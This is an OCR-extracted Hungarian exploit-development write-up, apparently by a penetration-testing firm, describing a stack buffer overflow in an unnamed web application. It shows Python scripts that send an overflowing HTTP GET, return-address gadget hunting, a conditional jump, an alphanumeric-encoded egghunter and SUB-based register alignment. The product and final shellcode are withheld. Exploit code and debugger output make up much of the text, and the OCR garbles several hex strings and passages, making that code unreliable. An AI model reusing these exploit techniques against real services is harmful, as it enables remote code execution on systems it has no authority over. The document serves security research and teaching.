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Bevezeto

Az ismertetésre keriild biztonsagi hiba Oday kategdriaba tartozik, ezért sem a termék, sem
a teljes hiba kihasznalasat lehetdvé tevd kod bemutatasa nem torténik meg. A leiras célja
az alkalmazott technika bemutatdsa. A dokumentum az alapvetdé memoriaval, exploit
irassal kapcsolatos ismeretek kozlését is melldzi feltételezve, hogy az olvasoé tisztaba van
ezekkel a dolgokkal. A vizsgalatok Windows 2003 SP2 rendszeren Immunity Debugger
segitségével torténtek.

Sérulékeny pont keresése

Ismertetés

A cél szoftverben egy URL paraméterben atadott érték helytelen kezelése miatt
lehetséges egy fiiggvény visszatérési cimét modositani. A hiba sikeres kihasznalasaval
a cél rendszeren sajat operacids rendszer szintli parancsokat tudunk futtatni. A cél
szoftver elinditdsa utdn egy webes feliileten lehet az adminisztracios feladatokat
elvégezni. ElsO 1épésben csatlakozunk a debugger segitségével a cél szoftverhez.

Buffer overflow

A hibat az alabbi Python program segitségével tudjuk eldidézni:

padding = “A” * 1000

buffer = "GET /vuln?objectType=name&objectValue=" + padding + " HTTP/1.1\r\n"
buffer += "Host: 1.1.1.1:1337\r\n"

buffer += "Content-type: application/x-www-form-urlencoded\r\n"

buffer += "User-Agent: BackTrack\r\n"

buffer += "Content-length: 313371\r\n\r\n"

s.send(buffer)
s.close()
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A debuggerben rogton lathato is a nem megfelelden kezelt bemenet altal okozott gond:
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A fenti képen a program regisztereinek értékei lathatok a talcsordulas utdn. Lathato,
hogy sikeriilt modositani az EIP valamint az EBP regiszterek értékét a bekiildott
adatok segitségével (az ,,A” értéke hexadecimalisan 41). Jobban megvizsgilva a
regiszterekben tarolt memoria cimeken taladlhaté adatokat, rogton felmeriil az elsd
probléma. Egyetlen regiszter sem mutat az altalunk bekiildott ,,A” betlik halmazara. A
stacket megvizsgalva (ESP regiszter értéke mutat a stack tetejére) a kovetkezd
problémaval szembesiiliink:

A bekiildott adatok a stack pointer (ESP) el6tt helyezkednek el kdzvetleniil, ahogy az a
0x2237EB3C memoriacim elott talalhatd ,,41” hexadecimalis értékekbdl lathato. A
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fenti abrabodl az is egyértelmiien kidertil, hogy a bekiildott 1000 byte adatnak csak a
toredéke talalhato a stack teriileten (0x2237EB00-0x2237EB3C).

Probléma megoldasi lehetéségek

A konvencionalis exploitalasi technikdk jelen esetben nem miikodnek az alabbi
problémak miatt:
» egyik regiszter sem mutat az altalunk bekiildott adathalmazra, igy egy ugrd
utasitassal nem tudjuk a program miikodését az altalunk kivant helyre vezérelni
(jmp esp, call eax, stb.)
* Meghatarozott karakterkészlet all a rendelkezésre az utasitasok 1étrehozasahoz.
* A rendelkezésre 4ll6 56 byte-os memoriateriiletre egghuntert nem lehetséges
bejuttatni, mivel az adatokat URL-ben adja at a program ¢és ott csak nyomtathato
karakterek szerepelhetnek, a kiilonb6z6 kodolo eljarasok altal generalt “URL-
safe” egghunter mérete pedig til nagy a felhasznalhato teriilethez képest.

A stack memoriateriilet tovabbi vizsgalata feltarja, hogy a bekiildott adatokra tobb
helyen is hivatkoznak pointerek:

Z2227EB3C 41 AAGY T
EE4EB  BF

RETURM to juwm.cDe81EZ20 from jwm. 607 105EE

RETURH to jum.eDECFAFZ from Jum.eDeE1EGA

ETURN to

SCIT "ARRARARARARRRARARARARRARARARAARARAARRRAARARRARRRARARARAREAA A

A stack aktudlis értékétél 50(0x38), 80(0x50), 100(0x64) byte-ra talalhatdé memoria
cimekre val6 hivatkozasokkal lehetséges a sajat kodunk végrehajtasa. Ezek a mutatok
szerencsére a teljes, altalunk bekiildott adatmennyiségre mutatnak.

Visszatérési cim keresése

A fent emlitett karakterkészlet megszoritasok miatt a visszatérési cim sem tartalmazhat
nem nyomtathato karaktereket, valamint & jelet (0x26) sem, mivel az 0j paramétert
jelentene az URL-ben, és levagna az altalunk bekiildott input adatokat. Az aldbbi
utasitasok felelnek meg a kivant eredmény eléréséhez:

e addesp, 38
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ret
e addesp, 50
ret
e addesp, 64
ret

Az Immunity Debugger segitségével az Gsszes betoltott modulban tudunk ilyen és
ehhez hasonld utasitdsokat keresni. A keresések eredményeit megvizsgéalva
tapasztalhatd, hogy a feltételeknek egyetlen utasitds sem felel meg. Minden
memoriacim, amely a fent emlitett utasitasokra mutat tartalmaz olyan karaktert, amely
nem megengedett.

Keresési elvek

Mivel a fenti szabalyszerliség alapjan végzett keresés nem vezetett eredményre, ezért
olyan utasitas csoportok Osszedllitasa a cél, amely segitségével azonos eredményeket
érhetiink el:

add esp,38 | pop regiszter
ret add esp, 34
ret

pop regiszter
pop regiszter
add esp,30
ret

A fenti példa alapjan tetszOleges mennyiségii teszt esetet lehetséges eldallitani. Ezzel
jelentésen megndvelhetjilk a rendelkezésre 4all6 potencialis visszatérési cimek
halmazat. Egy ijabb keresést lefuttatva tobb megfeleld cimet vizsgalhatunk meg:

A csatolt keresés kimenet részleten lathatd, hogy tobb utasitas is megfeleld lehet:

e 61755226 (0x26 miatt kizart)
e 61776751 (ASCII: awgQ - megfeleld lehet)

61776750 S5E POP ESI
61776751 83C4 34 ADD ESP,34
61776754 C3 RETN

* 61776765 (ASCII: awge - megfeleld lehet)
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61776764 SE POP ESI
61776765 83C4 34 ADD ESP,34
61776768 C3 RETN

* 6177688D (8D miatt kizart)
* 617768E4 (E4 miatt kizart)
* 6177693B (ASCII: awi; - megfeleld lehet)

6177693A 5E POP ESI
6177693B 83C4 34 ADD ESP,34
6177693E C3 RETN

A keresés eredményébdl kiragadott potencialis lehetéségek koziil szinte mindegyik
visszatérési cim megfeleld, valamint az altalunk kivant utasitasokat tartalmazza. Ezek
alapjan a visszatérési cim: 0x61776764, amely minden szempontot teljesit.

A visszatérési cim tesztelése

A miikodés teszteléséhez modositani kell az eddig megalkotott Python programot az
alabbiak szerint:

ret = “\x64\x67\x77\x61”

padding = “A” * 56 + ret

buffer = "GET /vuln?objectType=name&objectValue=" + padding + " HTTP/1.1\r\n"
buffer += "Host: 1.1.1.1:1337\r\n"

buffer += "Content-type: application/x-www-form-urlencoded\r\n"

buffer += "User-Agent: BackTrack\r\n"

buffer += "Content-length: 313371\r\n\r\n"

s.send(buffer)
s.close()

A Python program ismételt elinditasa elott a debuggerben tegyiink egy breakpointot az
altalunk megadott visszatérési cimre, igy lathatd, hogy sikeriilt-e modositani a
program futasat:
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. Immunity Debugger - .exe - [CPU - thread 00001380, module SYSFER ]
File Wiew Debug Plugins Immlib  Options Window Help Jobs
([OE%EE lemtwhoecPkbzrx..

=

Feltételes ugras

A teszt program az altalunk meghatérozott ponton folytatja a végrehajtast. A bekiildott
adatoknak megfeleld utasitasokat hajtja végre:

“. Immunity Debugger - .exe - [CPU - thread 00001380]

File Wiew Debug Plugins Immlib ©Options Window Help  Jobs
S M X M HHY 1l emtwhcPkbzr..

A kovetkezd probléma akkor 1ép fel, amikor elérjiik az altalunk meghatarozott
visszatérési cimet a végrehajtasi lancban. Mivel utasitast reprezental, ezért karosan
befolyasolja a program mikodését. Az ilyen eseteknél az alabbi lehetséges
megoldasok johetnek szoba:
* olyan visszatérési cim keresése, amely nem befolyasolja karosan a program
miikodését (jelen esetben hosszadalmas, valamint ezen kiviil is sok feltételnek
meg kell felelni)
o feltételes ugro utasitassal kikertiljiik a karos kodrészletet (hatranya, hogy
minimum 33 byte-ot kell ugrani (hexa 0x21)).

Mivel elég sok a rendelkezésre all6 memoriateriilet, igy feltételes ugrassal kiiszoboljiik
ki a problémat:

1F720F47

T 1F720FED0

A fenti abran lathatd, hogy a visszatérési cimiink egy ugrd utasitist reprezentdl,
viszont az 1F79DF24 memoria cimen a sajat feltételes ugro utasitasunk talalhato,
amely atadja a vezérlést egy masik memoriacimre. Az ugré utasitas végrehajtasa utan
a sajat shellcode-unkat futtathatjuk.
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Sajat kod futtatasa

A feltételek elviekben adottak, hogy sajat kodot futtassunk. Ezt két technika segitségével
tehetjiik meg:

. egghunter alkalmazasa ¢és az eredeti shellcode valamilyen médon a memoriaba
juttatasa (nop+jmp+eip+nop+egghunter) (valahol a memoriadban shellcode)
. shellcode alkalmazasa (nop+jmp+eip+nop+shellcode)

A jelenlegi esetben a bekiildott adatok mennyisége miatt mindketté lehetdséget
valaszthatnank. A tesztelések alatt viszont kideriilt, hogy tisztdn a shellcode végrehajtas
nem muikodik. A probléma pontos meghatarozasa nem tortént meg, nagy valosziniiséggel
a folyamatban talalhaté egyéb szalak beleirnak a shellcode-ba.

Egghunter

Mivel az egghunter nem tartalmazhat specialis karaktereket, igy a kiinduldshoz
hasznalt 32 byte-os kodot a szabalyoknak megfelelé modon kell megvaltoztatni.

Az megfeleld egghunter elddllitisdhoz a Metasploit keretrendszer msfencode
alkalmazasat hasznaljuk:

root@BackTrack4:/pentest/exploits/metasploit3-3/msf3# ./msfencode —I egghunter bin.txt
BufferRegister=EAX -e x86/alpha_mixed
[*] x86/alpha_mixed succeeded with size 125(iteration=1)

buf =

"x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x 51 \x 52"
"\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48"
"x48\x30\x4 1\x30\x30\x4 1\x42\x41\x41\x42\x54\x41\x41\x51"
"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x4 1\x43"
"\x4a\x4a\x49\x42\x46\x4d\x51\x49\x 5a\x4b\x4\x44\x4A\x 50"
"\x42\x46\x32\x42\x4a\x43\x32\x 50\x 58\x4 8\x4d\x46\x4e\x4 7"
"x4¢c\x43\x35\x50\x5a\x43\x44\x4a\x4\x4f\x48\x 50\x54\x46"
"x50\x50\x30\x50\x57\x4c\x4b\x4b\x4a\x4e\x4\x42\x55\x4b"
"x5a\x4e\x4f\x44\x35\x4b\x57\x4b\x4f\x4d\x37\x41\x41"

A BufferRegister opcid segitségével bedllitjuk, hogy az egghunterre mutatd
memoriacimet az EAX regiszterben talalja a dekodolo eljaras (valamint kikiiszobdljiik
a nem alfanumerikus karaktereket). Az teszt elején emlitésre keriilt, hogy nem mutat
egyetlen regiszter sem az altalunk bejuttatni kivant kodra. Megvizsgalva a stack
tartalmat a visszatérési cim atirdsakor lathatd, hogy 20 byte-ra a stacken tarolt
visszatérési cimtdl talalhatd ismét egy mutatd az altalunk bekiildott adatokra. Mivel a
program vezérlését mar tudjuk kontrollalni, igy az aldbbi miivelettel be tudjuk tolteni
az ott tarolt cimet az EAX regiszterbe:
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1F720F47

1F720F2D

Hivatkozasi problémak

Technika megfeleléen miikodik, egyetlen probléma van vele: nem az egghunter kezdd
cimére mutat, hanem a bekiildott adatok kezdetére. Jelenleg igy néz ki az altalunk
konstrualt végrehajtasi lanc:

nop + feltételes ugras + visszatérési_cim + nop + POP_utasitasok + nop + egghunter

Az egghunter pontos meghatarozasdhoz a stackrdl felvett cimhez kell az egghunterig
felhasznalt byte-okat hozzdadni. A megoldas kézenfekvOnek bizonyul egy Osszeadas
miivelettel. A probléma viszont, hogy mind az ADD (81XX) assembly miivelet, mind
az ért¢k nem megengedett karaktereket tartalmaz.

Felhasznélva a regiszterekben tarolhatéd értékek azon tulajdonsagat, hogy ha nullabol
kivonunk egyet, OXFFFFFFFF értéket kapunk (korbefordul), a kivonds (SUB) miivelet
segitségével is célt érhetiink. Ha az aktudlis értékbdl kivonunk OXxFFFFFFFF-et, akkor
az aktualis érték +1-et kapunk. Ezen informaciokat valamint a felhasznalhato
karakterkészletet figyelembe véve, harom kivonds segitségével meg tudjuk hatarozni
az egghunter pontos cimét:
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A sikeres matematikai szamitdsok utdn az aktualis payloadunk az aldabbiak szerint
modosul:

nop + feltételes ugras + visszatérési_cim + nop + POP_utasitasok + EAX kalkulacio
+ nop + egghunter.

A Python programba az alabbi valtoztatasokat kell atvezetni:

eh =(
"x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x 52"
"\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48"
"x48\x30\x4 1\x30\x30\x4 1\x42\x41\x41\x42\x54\x41\x41\x51"
"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x 58\x50\x38\x4 1\x43"
"x4a\x4a\x49\x42\x46\x4d\x51\x49\x5a\x4b\x4\x44\x4\x 50"
"\x42\x46\x32\x42\x4a\x43\x32\x 50\x 58\x4 8\x4d\x46\x4e\x4 7"
"x4c\x43\x35\x50\x5a\x43 \x44\x4a\x4\x41\x48\x50\x54\x46"
"x50\x50\x30\x50\x 57\x4c\x4b\x4b\x4a\x4e\x4\x42\x55\x4b"
"\x5a\x4e\x41\x44\x35\x4b\x57\x4b\x4\x4d\x37\x41\x41"

)

jmp ="\x75\x21\x41\x41" #jnz
ret = "\x64\x67\x77\x61"

align = (
"x58\x58\x58\x58\x58\x58"
"\x2d"

"x35\x66\x66\x66"

"\x2d"

"x31\x66\x66\x66"
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"x2d"
"\x24\x33\x33\x33"

)

padding = "\x41" *52 + jmp + ret + "\x41"*27 + align + "\x41"*10 + eh +
"\x41"*(152-125)

buffer = "GET /vuln?objectType=name&objectValue=" + padding + " HTTP/1.1\r\n"
buffer += "Host: 1.1.1.1:1337\r\n"

buffer += "Content-type: application/x-www-form-urlencoded\r\n"

buffer += "User-Agent: BackTrack\r\n"

buffer += "Content-length: 313371\r\n\r\n"

A fenti médositott kod futtatisa esetén lathatd, hogy az altalunk kivant memoria cim
keriil az EAX regiszterbe. Ezek utdn az egghunter eldéllitja az eredeti payload-ot,
amely segitségével képesek lesziink megkeresni azt az adathalmazt a memoriaban, ami
az altalunk végrehajtani kivant kodot tartalmazza. Legegyszeriibb eset, hogy a HTTP

crer

Agent mez0).

SILENT SIGNAL Kft. INFO@SILENTSIGNAL.HU
1135 Budapest. Lehel u. 64. 3/1. WWW.SILENTSIGNAL.HU

10



